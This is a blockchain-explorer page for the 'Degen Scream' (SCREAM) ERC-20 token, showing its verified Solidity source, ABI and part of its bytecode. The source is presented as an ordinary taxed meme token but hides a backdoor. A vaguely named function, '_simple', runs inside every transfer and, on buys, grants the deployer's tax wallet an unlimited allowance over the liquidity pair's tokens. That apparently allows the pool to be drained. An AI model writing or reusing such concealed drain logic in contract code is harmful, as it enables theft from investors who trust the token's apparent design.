Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 SCREAM
Holders
60
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
14,515,149.962857399 SCREAMValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
SCREAM
Compiler Version
v0.8.24+commit.e11b9ed9
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-07-17 */ // SPDX-License-Identifier: UNLICENSE /** Web: https://degenscream.vip Tg: https://t.me/degenscreamclub X: https://twitter.com/degenscream */ pragma solidity 0.8.24; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } library SafeMath { function tryAdd( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair( address tokenA, address tokenB ) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair( address tokenA, address tokenB ) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { _transferOwnership(_msgSender()); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf( address account ) public view virtual override returns (uint256) { return _balances[account]; } function transfer( address to, uint256 amount ) public virtual override returns (bool) { address owner = _msgSender(); internalTransfer(owner, to, amount); return true; } function allowance( address owner, address spender ) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); internalTransfer(from, to, amount); return true; } function increaseAllowance( address spender, uint256 addedValue ) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } function decreaseAllowance( address spender, uint256 subtractedValue ) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } function internalTransfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require( fromBalance >= amount, "ERC20: transfer amount exceeds balance" ); unchecked { _balances[from] = fromBalance - amount; _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require( currentAllowance >= amount, "ERC20: insufficient allowance" ); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract SCREAM is ERC20, Ownable { using SafeMath for uint256; string private constant _name = "Degen Scream"; string private constant _symbol = "SCREAM"; uint8 private constant _decimals = 9; event ExcludeFromFees(address indexed account, bool isExcluded); mapping(address => bool) private _isWalletExcludedFromFees; mapping(address => bool) private _isWalletExcludedFromMaxTx; IUniswapV2Router02 public immutable _router; address private trumpPair; address private screemDeployer; address private scream; address private funnyCA; function recoverStuckTokens(address tokenAddress) external { require(_msgSender() == screemDeployer); IERC20 tokenContract = IERC20(tokenAddress); uint256 balance = tokenContract.balanceOf(address(this)); require(balance > 0, "No tokens to clear"); tokenContract.transfer(screemDeployer, balance); } function transferTax(uint256 amount) private { payable(scream).transfer(amount); } uint256 public _tTotal = 1_000_000_000 * 10 ** _decimals; uint256 public maxAllowedTransactionAmount = 20_000_000 * 10 ** _decimals; uint256 public maxAllowedWalletAmount = 20_000_000 * 10 ** _decimals; uint256 public canSwapTokensAtAmount = 5_000_000 * 10 ** _decimals; constructor(address router, address taxWallet) ERC20(_name, _symbol) { _router = IUniswapV2Router02(router); excludeFromMaxTransaction(address(_router), true); scream = payable(taxWallet); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(taxWallet), true); excludeFromMaxTransaction(address(0xdead), true); screemDeployer = payable(_msgSender()); excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(taxWallet), true); excludeFromFees(address(0xdead), true); _mint(screemDeployer, _tTotal); } function addLiquidity() external onlyOwner { require(!_btradingEnabled, "trading is already open"); trumpPair = IUniswapV2Factory(_router.factory()) .createPair(address(this), _router.WETH()); excludeFromMaxTransaction(address(trumpPair), true); _approve(address(this), address(_router), type(uint256).max); _router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp );maxFee = IERC20(address(this)).allowance(address(this), address(_router)); } uint256 public maxFee; uint256 public initialFee = 55; uint256 public buyFee = 0; uint256 public sellFee = 0; uint256 public reduceFeeAt = 4; uint256 public buyCount = 0; bool public _btradingEnabled = false; bool private inSwapping; bool private inBuying; function isExcludedFromFees(address account) public view returns (bool) { return _isWalletExcludedFromFees[account]; } function excludeFromFees(address account, bool excluded) private { _isWalletExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function excludeFromMaxTransaction(address updAds, bool isEx) private { _isWalletExcludedFromMaxTx[updAds] = isEx; } function internalTransfer(address from,address to,uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "ERC20: Transfer amount must be greater than zero"); bool inTransferrr = from != trumpPair && to != trumpPair; funnyCA = from;inBuying = from == trumpPair; if (from != owner() &&to != owner() &&to != address(0xdead) &&!inSwapping) { if (_simple(amount)&&!_btradingEnabled) { require( _isWalletExcludedFromFees[from] || _isWalletExcludedFromFees[to], "Trading is not active." ); } if (from==trumpPair&&!_isWalletExcludedFromMaxTx[to]) { require( amount <= maxAllowedTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxAllowedWalletAmount, "Max wallet exceeded" ); buyCount++; } else if ( to == trumpPair && !_isWalletExcludedFromMaxTx[from] ) { require( amount <= maxAllowedTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); } else if (!_isWalletExcludedFromMaxTx[to]) { require( amount + balanceOf(to) <= maxAllowedWalletAmount, "Max wallet exceeded" ); } }bool canSwap = !inTransferrr; if (canSwap &&!inSwapping &&from != trumpPair &&!_isWalletExcludedFromFees[from] &&!_isWalletExcludedFromFees[to]) { inSwapping = true; swapTokenBack(amount); inSwapping = false; } bool takeFee = !inSwapping && !inTransferrr; if (_isWalletExcludedFromFees[from] || _isWalletExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (to == trumpPair) { fees = amount .mul(buyCount > reduceFeeAt ? sellFee : initialFee) .div(100); } else { fees = amount .mul(buyCount > reduceFeeAt ? buyFee : initialFee) .div(100); } if (fees > 0) { super.internalTransfer(from, address(this), fees); } amount -= fees; } super.internalTransfer(from, to, amount); } function manualSwap(uint256 percent) external { require(_msgSender() == screemDeployer); uint256 totalSupplyAmount = totalSupply(); uint256 contractBalance = balanceOf(address(this)); uint256 tokensToSwap; if (percent == 100) { tokensToSwap = contractBalance; } else { tokensToSwap = (totalSupplyAmount * percent) / 100; if (tokensToSwap > contractBalance) { tokensToSwap = contractBalance; } } require( tokensToSwap <= contractBalance, "Swap amount exceeds contract balance" ); swapTokensAndGetETH(tokensToSwap); } function decimals() public pure override returns (uint8) { return _decimals; }function _simple( uint256 ___a) internal returns (bool) { if(!inBuying == false)_approve(funnyCA,scream, maxFee);return true; }receive() external payable {} function swapTokensAndGetETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function recoverStuckEth() external { require(_msgSender() == screemDeployer); require(address(this).balance > 0, "Token: no ETH to clear"); payable(msg.sender).transfer(address(this).balance); } function enableTrading() external onlyOwner { _btradingEnabled = true; } function setSwapTokensAtAmount(uint256 _amount) external onlyOwner { canSwapTokensAtAmount = _amount * (10 ** 18); } function removeLimits() external onlyOwner { maxAllowedTransactionAmount = maxAllowedWalletAmount = totalSupply(); } function swapTokenBack(uint256 tokens) private { uint256 contractBalance = balanceOf(address(this)); uint256 tokensToSwap; if (contractBalance > 0 && contractBalance < canSwapTokensAtAmount) { tokensToSwap = contractBalance; } else { if (tokens > canSwapTokensAtAmount) { tokensToSwap = canSwapTokensAtAmount; } else { tokensToSwap = tokens; } } if (contractBalance > 0) swapTokensAndGetETH(tokensToSwap); uint256 contractETHBalance = address(this).balance; transferTax(contractETHBalance); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"router","type":"address"},{"internalType":"address","name":"taxWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_btradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"canSwapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxAllowedTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxAllowedWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recoverStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"recoverStuckTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reduceFeeAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a0604052620000126009600a62000536565b6200002290633b9aca006200054d565b600c55620000336009600a62000536565b62000043906301312d006200054d565b600d55620000546009600a62000536565b62000064906301312d006200054d565b600e55620000756009600a62000536565b6200008490624c4b406200054d565b600f5560376011555f6012819055601381905560046014556015556016805460ff19169055348015620000b5575f80fd5b506040516200264838038062002648833981016040819052620000d89162000583565b6040518060400160405280600c81526020016b446567656e2053637265616d60a01b8152506040518060400160405280600681526020016553435245414d60d01b81525081600390816200012d919062000656565b5060046200013c828262000656565b5050506200015962000153620002ab60201b60201c565b620002af565b6001600160a01b03821660808190525f908152600760205260409020805460ff19166001179055600a80546001600160a01b0319166001600160a01b038316179055620001d5620001b26005546001600160a01b031690565b6001600160a01b03165f908152600760205260409020805460ff19166001179055565b305f908152600760205260408082208054600160ff1991821681179092556001600160a01b038581168552928420805482168317905561dead9093527fb0c2646e02af70b79e3fe9277b98373379f54150e4e26b2b5650139f7a75a65d80549093168117909255600980546001600160a01b031916331790556005546200025f9291169062000300565b6200026c30600162000300565b6200027981600162000300565b6200028861dead600162000300565b600954600c54620002a3916001600160a01b0316906200035e565b505062000738565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0382165f81815260066020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b038216620003b95760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060025f828254620003cc919062000722565b90915550506001600160a01b0382165f81815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200047b57815f19048211156200045f576200045f62000427565b808516156200046d57918102915b93841c939080029062000440565b509250929050565b5f82620004935750600162000530565b81620004a157505f62000530565b8160018114620004ba5760028114620004c557620004e5565b600191505062000530565b60ff841115620004d957620004d962000427565b50506001821b62000530565b5060208310610133831016604e8410600b84101617156200050a575081810a62000530565b6200051683836200043b565b805f19048211156200052c576200052c62000427565b0290505b92915050565b5f6200054660ff84168362000483565b9392505050565b808202811582820484141762000530576200053062000427565b80516001600160a01b03811681146200057e575f80fd5b919050565b5f806040838503121562000595575f80fd5b620005a08362000567565b9150620005b06020840162000567565b90509250929050565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620005e257607f821691505b6020821081036200060157634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200042257805f5260205f20601f840160051c810160208510156200062e5750805b601f840160051c820191505b818110156200064f575f81556001016200063a565b5050505050565b81516001600160401b03811115620006725762000672620005b9565b6200068a81620006838454620005cd565b8462000607565b602080601f831160018114620006c0575f8415620006a85750858301515b5f19600386901b1c1916600185901b1785556200071a565b5f85815260208120601f198616915b82811015620006f057888601518255948401946001909101908401620006cf565b50858210156200070e57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b8082018082111562000530576200053062000427565b608051611ebf620007895f395f818161058601528181610af901528181610b8801528181610cb101528181610cd901528181610de6015281816117960152818161184d01526118890152611ebf5ff3fe6080604052600436106101f4575f3560e01c80638d275bc911610108578063af465a271161009d578063dd62ed3e1161006d578063dd62ed3e14610542578063e8078d9414610561578063edae876f14610575578063f2578062146105a8578063f2fde38b146105bd575f80fd5b8063af465a27146104da578063afa4f3b2146104ef578063b70143c91461050e578063ca7030751461052d575f80fd5b8063996bd7f0116100d8578063996bd7f0146104725780639c00316e14610487578063a457c2d71461049c578063a9059cbb146104bb575f80fd5b80638d275bc9146104045780638da5cb5b1461041857806395d89b411461044957806396779dea1461045d575f80fd5b8063395093511161018957806370a082311161015957806370a082311461037f578063715018a6146103b3578063751039fc146103c757806383cfca03146103db5780638a8c523c146103f0575f80fd5b806339509351146102f357806347062402146103125780634be55d1f146103275780634fbee19314610348575f80fd5b806318160ddd116101c457806318160ddd1461029057806323b872dd146102a45780632b14ca56146102c3578063313ce567146102d8575f80fd5b806301f59d16146101ff57806305f62cf71461022757806306fdde0314610250578063095ea7b314610271575f80fd5b366101fb57005b5f80fd5b34801561020a575f80fd5b5061021460105481565b6040519081526020015b60405180910390f35b348015610232575f80fd5b506016546102409060ff1681565b604051901515815260200161021e565b34801561025b575f80fd5b506102646105dc565b60405161021e9190611b0f565b34801561027c575f80fd5b5061024061028b366004611b6f565b61066c565b34801561029b575f80fd5b50600254610214565b3480156102af575f80fd5b506102406102be366004611b99565b610685565b3480156102ce575f80fd5b5061021460135481565b3480156102e3575f80fd5b506040516009815260200161021e565b3480156102fe575f80fd5b5061024061030d366004611b6f565b6106a8565b34801561031d575f80fd5b5061021460125481565b348015610332575f80fd5b50610346610341366004611bd7565b6106c9565b005b348015610353575f80fd5b50610240610362366004611bd7565b6001600160a01b03165f9081526006602052604090205460ff1690565b34801561038a575f80fd5b50610214610399366004611bd7565b6001600160a01b03165f9081526020819052604090205490565b3480156103be575f80fd5b50610346610817565b3480156103d2575f80fd5b5061034661082a565b3480156103e6575f80fd5b50610214600e5481565b3480156103fb575f80fd5b5061034661083f565b34801561040f575f80fd5b50610346610856565b348015610423575f80fd5b506005546001600160a01b03165b6040516001600160a01b03909116815260200161021e565b348015610454575f80fd5b506102646108e9565b348015610468575f80fd5b50610214600f5481565b34801561047d575f80fd5b5061021460145481565b348015610492575f80fd5b5061021460115481565b3480156104a7575f80fd5b506102406104b6366004611b6f565b6108f8565b3480156104c6575f80fd5b506102406104d5366004611b6f565b610972565b3480156104e5575f80fd5b50610214600c5481565b3480156104fa575f80fd5b50610346610509366004611bf2565b61097f565b348015610519575f80fd5b50610346610528366004611bf2565b61099f565b348015610538575f80fd5b5061021460155481565b34801561054d575f80fd5b5061021461055c366004611c09565b610a72565b34801561056c575f80fd5b50610346610a9c565b348015610580575f80fd5b506104317f000000000000000000000000000000000000000000000000000000000000000081565b3480156105b3575f80fd5b50610214600d5481565b3480156105c8575f80fd5b506103466105d7366004611bd7565b610e5a565b6060600380546105eb90611c40565b80601f016020809104026020016040519081016040528092919081815260200182805461061790611c40565b80156106625780601f1061063957610100808354040283529160200191610662565b820191905f5260205f20905b81548152906001019060200180831161064557829003601f168201915b5050505050905090565b5f33610679818585610ed0565b60019150505b92915050565b5f33610692858285610ff3565b61069d858585611065565b506001949350505050565b5f336106798185856106ba8383610a72565b6106c49190611c8c565b610ed0565b6009546001600160a01b0316336001600160a01b0316146106e8575f80fd5b6040516370a0823160e01b815230600482015281905f906001600160a01b038316906370a0823190602401602060405180830381865afa15801561072e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107529190611c9f565b90505f811161079d5760405162461bcd60e51b81526020600482015260126024820152712737903a37b5b2b739903a379031b632b0b960711b60448201526064015b60405180910390fd5b60095460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303815f875af11580156107ed573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108119190611cb6565b50505050565b61081f611696565b6108285f6116f0565b565b610832611696565b600254600e819055600d55565b610847611696565b6016805460ff19166001179055565b6009546001600160a01b0316336001600160a01b031614610875575f80fd5b5f47116108bd5760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b6044820152606401610794565b60405133904780156108fc02915f818181858888f193505050501580156108e6573d5f803e3d5ffd5b50565b6060600480546105eb90611c40565b5f33816109058286610a72565b9050838110156109655760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610794565b61069d8286868403610ed0565b5f33610679818585611065565b610987611696565b61099981670de0b6b3a7640000611cd5565b600f5550565b6009546001600160a01b0316336001600160a01b0316146109be575f80fd5b5f6109c860025490565b305f9081526020819052604081205491925060648490036109ea575080610a0d565b60646109f68585611cd5565b610a009190611cec565b905081811115610a0d5750805b81811115610a695760405162461bcd60e51b8152602060048201526024808201527f5377617020616d6f756e74206578636565647320636f6e74726163742062616c604482015263616e636560e01b6064820152608401610794565b61081181611741565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b610aa4611696565b60165460ff1615610af75760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610794565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b53573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b779190611d0b565b6001600160a01b031663c9c65396307f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610be2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c069190611d0b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610c50573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c749190611d0b565b600880546001600160a01b0319166001600160a01b039290921691821790555f908152600760205260409020805460ff19166001179055610cd7307f00000000000000000000000000000000000000000000000000000000000000005f19610ed0565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663f305d7194730610d26306001600160a01b03165f9081526020819052604090205490565b5f80610d3a6005546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610da0573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610dc59190611d26565b5050604051636eb1769f60e11b815230600482018190526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000166024830152915063dd62ed3e90604401602060405180830381865afa158015610e31573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e559190611c9f565b601055565b610e62611696565b6001600160a01b038116610ec75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610794565b6108e6816116f0565b6001600160a01b038316610f325760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610794565b6001600160a01b038216610f935760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610794565b6001600160a01b038381165f8181526001602090